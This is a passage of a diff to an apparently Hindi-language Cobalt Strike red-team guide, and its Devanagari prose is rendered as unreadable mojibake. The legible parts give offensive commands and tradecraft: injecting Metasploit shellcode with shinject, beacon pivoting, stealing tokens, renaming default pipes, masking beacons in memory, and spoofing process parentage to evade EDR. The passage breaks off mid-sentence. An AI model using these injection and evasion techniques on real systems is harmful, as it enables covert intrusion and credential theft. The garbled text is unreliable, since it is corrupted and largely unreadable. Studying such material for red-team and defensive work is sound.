+shinject  x64 C:\Payloads\msf.bin #x64 рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЙрдЗрдЯ рд╢реЗрд▓рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВ
 
+# Cobalt Strike рдореЗрдВ Metasploit рд╕рддреНрд░ рдкрд╛рд╕ рдХрд░реЗрдВ
+## рд╕реНрдЯреЗрдЬрд▓реЗрд╕ рдмреАрдХрди рд╢реЗрд▓рдХреЛрдб рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ, Attacks > Packages > Windows Executable (S) рдкрд░ рдЬрд╛рдПрдВ, рдЗрдЪреНрдЫрд┐рдд рд▓рд┐рд╕реНрдирд░ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ, рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рдХрд╛рд░ рдХреЗ рд░реВрдк рдореЗрдВ Raw рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдФрд░ x64 рдкреЗрд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
+## рдореЗрдЯрд╛рд╕реНрдкреНрд▓реЙрдЗрдЯ рдореЗрдВ post/windows/manage/shellcode_inject рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЙрддреНрдкрдиреНрди Cobalt Strike рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
 
 # Pivoting
 ## рдЯреАрдо рд╕рд░реНрд╡рд░ рдореЗрдВ рдПрдХ рд╕реЙрдХреНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдЦреЛрд▓реЗрдВ
@@ -176,50 +181,178 @@ beacon> socks 1080
 # SSH connection
 beacon> ssh 10.10.17.12:22 username password
-## Avoiding AVs +## Opsec -### Artifact Kit +### Execute-Assembly -рдЖрдорддреМрд░ рдкрд░ `/opt/cobaltstrike/artifact-kit` рдореЗрдВ рдЖрдк рдХреЛрдб рдФрд░ рдкреНрд░реА-рдХрдВрдкрд╛рдЗрд▓ рдХрд┐рдП рдЧрдП рдЯреЗрдореНрдкрд▓реЗрдЯ ( `/src-common` рдореЗрдВ) рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ Cobalt Strike рдмрд╛рдЗрдирд░реА рдмреАрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдЧрд╛ред +**`execute-assembly`** рдПрдХ **рдмрд▓рд┐рджрд╛рди рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рджреВрд░рд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдмрд╣реБрдд рд╢реЛрд░ рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХрд┐рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ Win APIs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд╣рд░ EDR рдЪреЗрдХ рдХрд░ рд░рд╣рд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреБрдЫ рдХрд╕реНрдЯрдо рдЯреВрд▓ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рд╣реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреБрдЫ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: -[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрддреНрдкрдиреНрди рдмреИрдХрдбреЛрд░ (рдпрд╛ рдХреЗрд╡рд▓ рд╕рдВрдХрд▓рд┐рдд рдЯреЗрдореНрдкрд▓реЗрдЯ рдХреЗ рд╕рд╛рде) рдЖрдк рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдбрд┐рдлреЗрдВрдбрд░ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд░рд╣рд╛ рд╣реИред рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╣реЛрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП рдЖрдк рдмрд╕ рдЙрд╕ рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдмреИрдХрдбреЛрд░ рдЙрддреНрдкрдиреНрди рдХрд░ рд░рд╣рд╛ рд╣реИ рддрд╛рдХрд┐ рд╡рд╣ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЕрдВрддрд┐рдо рдмрд╛рдЗрдирд░реА рдореЗрдВ рди рджрд┐рдЦрд╛рдИ рджреЗред +- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) +- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) +- Cobalt Strike рдореЗрдВ рдЖрдк BOF (Beacon Object Files) рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) +- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) + +рдПрдЧреНрд░реЗрд╕рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ `https://github.com/outflanknl/HelpColor` Cobalt Strike рдореЗрдВ `helpx` рдХрдорд╛рдВрдб рдмрдирд╛рдПрдЧрд╛ рдЬреЛ рдХрдорд╛рдВрдб рдореЗрдВ рд░рдВрдЧ рдбрд╛рд▓ рджреЗрдЧрд╛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╡реЗ BOFs (рд╣рд░рд╛), рдпрджрд┐ рд╡реЗ Frok&Run (рдкреАрд▓рд╛) рдФрд░ рдЗрд╕реА рддрд░рд╣ рд╣реИрдВ, рдпрд╛ рдпрджрд┐ рд╡реЗ ProcessExecution, рдЗрдВрдЬреЗрдХреНрд╢рди рдпрд╛ рдЗрд╕реА рддрд░рд╣ рдХреЗ рд╣реИрдВ (рд▓рд╛рд▓)ред рдЬреЛ рдпрд╣ рдЬрд╛рдирдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рдХрдорд╛рдВрдб рдЕрдзрд┐рдХ рдЫрд┐рдкреЗ рд╣реБрдП рд╣реИрдВред + +### Act as the user + +рдЖрдк рдШрдЯрдирд╛рдУрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`: + +- рд╕реБрд░рдХреНрд╖рд╛ EID 4624 - рд╕рд╛рдорд╛рдиреНрдп рд╕рдВрдЪрд╛рд▓рди рдХреЗ рдШрдВрдЯреЛрдВ рдХреЛ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рд╕рднреА рдЗрдВрдЯрд░рдПрдХреНрдЯрд┐рд╡ рд▓реЙрдЧрдСрди рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред +- рд╕рд┐рд╕реНрдЯрдо EID 12,13 - рд╢рдЯрдбрд╛рдЙрди/рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк/рдиреАрдВрдж рдХреА рдЖрд╡реГрддреНрддрд┐ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред +- рд╕реБрд░рдХреНрд╖рд╛ EID 4624/4625 - рдЗрдирдмрд╛рдЙрдВрдб рд╡реИрдз/рдЕрд╡реИрдз NTLM рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред +- рд╕реБрд░рдХреНрд╖рд╛ EID 4648 - рдпрд╣ рдШрдЯрдирд╛ рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм рдкреНрд▓реЗрдирдЯреЗрдХреНрд╕реНрдЯ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рд▓реЙрдЧрдСрди рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ рдХрд┐рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдиреЗ рдЗрд╕реЗ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рд╣реИ, рддреЛ рдмрд╛рдЗрдирд░реА рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдПрдХ рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓ рдпрд╛ рдХреЛрдб рдХреЗ рдЕрдВрджрд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред + +рдЬрдм Cobalt Strike рд╕реЗ `jump` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдирдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЕрдзрд┐рдХ рд╡реИрдз рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП `wmi_msbuild` рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдмреЗрд╣рддрд░ рд╣реИред + +### Use computer accounts + +рдпрд╣ рд╕рд╛рдорд╛рдиреНрдп рд╣реИ рдХрд┐ рд░рдХреНрд╖рдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдЕрдЬреАрдм рд╡реНрдпрд╡рд╣рд╛рд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдФрд░ **рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЛрдВ рдЬреИрд╕реЗ `*$` рдХреЛ рдЕрдкрдиреА рдирд┐рдЧрд░рд╛рдиреА рд╕реЗ рдмрд╛рд╣рд░ рд░рдЦрддреЗ рд╣реИрдВ**ред рдЖрдк рдЗрди рдЦрд╛рддреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +### Use stageless payloads + +Stageless payloads рд╕реНрдЯреЗрдЬреНрдб рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрдо рд╢реЛрд░ рдХрд░рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЙрдиреНрд╣реЗрдВ C2 рд╕рд░реНрд╡рд░ рд╕реЗ рджреВрд╕рд░реЗ рдЪрд░рдг рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдХрдиреЗрдХреНрд╢рди рдХреЗ рдмрд╛рдж рдХреЛрдИ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдиреЗрдЯрд╡рд░реНрдХ-рдЖрдзрд╛рд░рд┐рдд рд╕реБрд░рдХреНрд╖рд╛ рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдирдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХрдо рд╣реЛрддреА рд╣реИред + +### Tokens & Token Store + +рдЬрдм рдЖрдк рдЯреЛрдХрди рдЪреБрд░рд╛рддреЗ рд╣реИрдВ рдпрд╛ рдЙрддреНрдкрдиреНрди рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ EDR рд╕рднреА рдереНрд░реЗрдбреНрд╕ рдХреЗ рд╕рднреА рдЯреЛрдХрдиреЛрдВ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХреЗ рдФрд░ рдПрдХ **рд╡рд┐рднрд┐рдиреНрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ SYSTEM рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд **рдЯреЛрдХрди** рдЦреЛрдЬ рд╕рдХреЗред + +рдпрд╣ рдЯреЛрдХрдиреЛрдВ рдХреЛ **рдкреНрд░рддреНрдпреЗрдХ рдмреАрдХрди рдХреЗ рд▓рд┐рдП рд╕реНрдЯреЛрд░** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдмрд╛рд░-рдмрд╛рд░ рдЙрд╕реА рдЯреЛрдХрди рдХреЛ рдЪреБрд░рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рди рд╣реЛред рдпрд╣ рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрд╛ рдЬрдм рдЖрдкрдХреЛ рдХрдИ рдмрд╛рд░ рдЪреБрд░рд╛рдП рдЧрдП рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ: + +- token-store steal +- token-store steal-and-use +- token-store show +- token-store use +- token-store remove +- token-store remove-all + +рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдХрд░рддреЗ рд╕рдордп, рдЖрдорддреМрд░ рдкрд░ **рдПрдХ рдЯреЛрдХрди рдЪреБрд░рд╛рдирд╛ рдирдП рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рд╕реЗ рдмреЗрд╣рддрд░ рд╣реЛрддрд╛ рд╣реИ** рдпрд╛ рдкрд╛рд╕ рдж рд╣реИрд╢ рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдирд╛ред + +### Guardrails + +Cobalt Strike рдореЗрдВ **Guardrails** рдирд╛рдордХ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ рдЬреЛ рдХреБрдЫ рдХрдорд╛рдВрдб рдпрд╛ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреА рд╣реИ рдЬреЛ рд░рдХреНрд╖рдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдиреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред Guardrails рдХреЛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдХрдорд╛рдВрдб, рдЬреИрд╕реЗ `make_token`, `jump`, `remote-exec`, рдФрд░ рдЕрдиреНрдп рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдЖрдорддреМрд░ рдкрд░ рд▓реЗрдЯрд░рд▓ рдореВрд╡рдореЗрдВрдЯ рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред + +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) рдореЗрдВ рдХреБрдЫ рдЪреЗрдХ рдФрд░ рд╡рд┐рдЪрд╛рд░ рднреА рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдПрдХ рдкреЗрд▓реЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +### Tickets encryption + +AD рдореЗрдВ рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд╕рд╛рде рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдХреБрдЫ рдЯреВрд▓ Kerberos рдЯрд┐рдХрдЯреЛрдВ рдХреЗ рд▓рд┐рдП RC4 рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ, рдЬреЛ AES рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдХрдо рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ рдФрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЕрджреНрдпрддрди рд╡рд╛рддрд╛рд╡рд░рдг AES рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдЗрд╕реЗ рд░рдХреНрд╖рдХреЛрдВ рджреНрд╡рд╛рд░рд╛ рдХрдордЬреЛрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдХреЗ рд▓рд┐рдП рдирд┐рдЧрд░рд╛рдиреА рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред + +### Avoid Defaults + +Cobalt Strike рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ SMB рдкрд╛рдЗрдк рдХрд╛ рдирд╛рдо `msagent_####` рдФрд░ `"status_####` рд╣реЛрдЧрд╛ред рдЙрди рдирд╛рдореЛрдВ рдХреЛ рдмрджрд▓реЗрдВред Cobalt Strike рд╕реЗ рдореМрдЬреВрджрд╛ рдкрд╛рдЗрдк рдХреЗ рдирд╛рдореЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ: `ls \\.\pipe\` + +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, SSH рд╕рддреНрд░реЛрдВ рдореЗрдВ `\\.\pipe\postex_ssh_####` рдирд╛рдордХ рдПрдХ рдкрд╛рдЗрдк рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕реЗ `set ssh_pipename "";` рдХреЗ рд╕рд╛рде рдмрджрд▓реЗрдВред + +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреЛрд╕реНрдЯ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рд╣рдорд▓реЗ рдореЗрдВ рдкрд╛рдЗрдк `\\.\pipe\postex_####` рдХреЛ `set pipename ""` рдХреЗ рд╕рд╛рде рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред + +Cobalt Strike рдкреНрд░реЛрдлрд╛рдЗрд▓ рдореЗрдВ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЬреИрд╕реА рдЪреАрдЬреЗрдВ рднреА рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: + +- `rwx` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдмрдЪрдирд╛ +- рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЗрдВрдЬреЗрдХреНрд╢рди рд╡реНрдпрд╡рд╣рд╛рд░ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ (рдХреМрди рд╕реЗ APIs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛) `process-inject {...}` рдмреНрд▓реЙрдХ рдореЗрдВ +- "fork and run" рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ `post-ex {тАж}` рдмреНрд▓реЙрдХ рдореЗрдВ +- рдиреАрдВрдж рдХрд╛ рд╕рдордп +- рдореЗрдореЛрд░реА рдореЗрдВ рд▓реЛрдб рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рдмрд╛рдЗрдирд░реА рдХрд╛ рдЕрдзрд┐рдХрддрдо рдЖрдХрд╛рд░ +- рдореЗрдореЛрд░реА рдлреБрдЯрдкреНрд░рд┐рдВрдЯ рдФрд░ DLL рд╕рд╛рдордЧреНрд░реА `stage {...}` рдмреНрд▓реЙрдХ рдХреЗ рд╕рд╛рде +- рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░реИрдлрд╝рд┐рдХ + +### Bypass memory scanning + +рдХреБрдЫ EDR рдЬреНрдЮрд╛рдд рдореИрд▓рд╡реЗрдпрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдореЗрдореЛрд░реА рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╣реИрдВред Cobalt Strike `sleep_mask` рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдПрдХ BOF рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдмреИрдХрдбреЛрд░ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ред + +### Noisy proc injections + +рдЬрдм рдХрд┐рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ рдпрд╣ рдЖрдорддреМрд░ рдкрд░ рдмрд╣реБрдд рд╢реЛрд░ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ **рдХреЛрдИ рдирд┐рдпрдорд┐рдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЖрдорддреМрд░ рдкрд░ рдЗрд╕ рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд╣реАрдВ рдХрд░рддреА рд╣реИ рдФрд░ рдЗрд╕реЗ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдмрд╣реБрдд рд╕реАрдорд┐рдд рд╣реИрдВ**ред рдЗрд╕рд▓рд┐рдП, рдЗрд╕реЗ рд╡реНрдпрд╡рд╣рд╛рд░-рдЖрдзрд╛рд░рд┐рдд рдкрд╣рдЪрд╛рди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕реЗ EDRs рджреНрд╡рд╛рд░рд╛ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░рддреЗ рд╕рдордп рднреА рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ **рдХреЛрдб рд╡рд╛рд▓реЗ рдереНрд░реЗрдбреНрд╕ рдХреЗ рд▓рд┐рдП рдЬреЛ рдбрд┐рд╕реНрдХ рдореЗрдВ рдирд╣реАрдВ рд╣реИрдВ** (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЬреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬреЛ JIT рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдпрд╣ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдХрд░рддреЗ рд╣реИрдВ)ред рдЙрджрд╛рд╣рд░рдг: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) + +### Spawnas | PID and PPID relationships + +рдЬрдм рдПрдХ рдирдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЙрддреНрдкрдиреНрди рдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ **рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдмреАрдЪ рдПрдХ рдирд┐рдпрдорд┐рдд рдорд╛рддрд╛-рдкрд┐рддрд╛-рд╢рд┐рд╢реБ** рд╕рдВрдмрдВрдз рдмрдирд╛рдП рд░рдЦрд╛ рдЬрд╛рдП рддрд╛рдХрд┐ рдкрд╣рдЪрд╛рди рд╕реЗ рдмрдЪрд╛ рдЬрд╛ рд╕рдХреЗред рдпрджрд┐ svchost.exec iexplorer.exe рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрджрд┐рдЧреНрдз рд▓рдЧреЗрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ svchost.exe рд╕рд╛рдорд╛рдиреНрдп Windows рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ iexplorer.exe рдХрд╛ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдирд╣реАрдВ рд╣реИред + +рдЬрдм Cobalt Strike рдореЗрдВ рдПрдХ рдирдпрд╛ рдмреАрдХрди рд╕реНрдкреЙрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **`rundll32.exe`** рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдирдП рд▓рд┐рд╕реНрдирд░ рдХреЛ рдЪрд▓рд╛рдпрд╛ 